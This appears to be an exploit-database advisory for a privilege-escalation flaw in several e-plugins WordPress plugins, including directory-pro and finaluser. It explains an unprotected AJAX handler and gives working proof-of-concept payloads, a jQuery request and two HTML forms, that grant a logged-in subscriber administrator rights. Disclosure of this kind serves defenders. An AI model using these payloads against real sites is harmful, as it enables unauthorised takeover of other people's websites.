Lucene search

K
wpexploitOmar BadranWPEX-ID:D079CB16-EAD5-4BC8-B0B8-4A4DC2A54C96
HistoryMar 06, 2023 - 12:00 a.m.

Multiple e-plugins - Subscriber+ Privilege Escalation

2023-03-0600:00:00
Omar Badran
60
e-plugins privilegeescalation wordpress

0.001 Low

EPSS

Percentile

36.5%

The plugins, sold by the same developer (e-plugins), do not implementing any security measures in some AJAX calls. For example in the file plugin.php, the function iv_directories_update_profile_setting() uses update_user_meta with any data provided by the ajax call, which can be used to give the logged in user admin capabilities. Since the plugins allow user registration via a custom form (even if the blog does not allow users to register) it makes any site using it vulnerable.

directory-pro (set current logged in user to admin)

jQuery.ajax({
    url: "http://localhost/wp-admin/admin-ajax.php",
    method: 'post',
    data: {
        action: "iv_directories_update_profile_setting",
        form_data: `wp_capabilities[administrator]=1`
    },
    success: function(res){
        console.log(res)
    }
});

<html>
  <body>
    <form action="http://[WP]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="iv_directories_update_profile_setting" />
      <input type="hidden" name="form_data" value="wp_capabilities[administrator]=1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


finaluser (edit user to set as admin):
<html>
  <body>
    <form action="http://[WP]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="ep_finaluser_update_user_settings" />
      <input type="hidden" name="form_data" value="user_role=administrator&payment_status=success&exp_date=&ep_status=publish&user_id=2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

36.5%

Related for WPEX-ID:D079CB16-EAD5-4BC8-B0B8-4A4DC2A54C96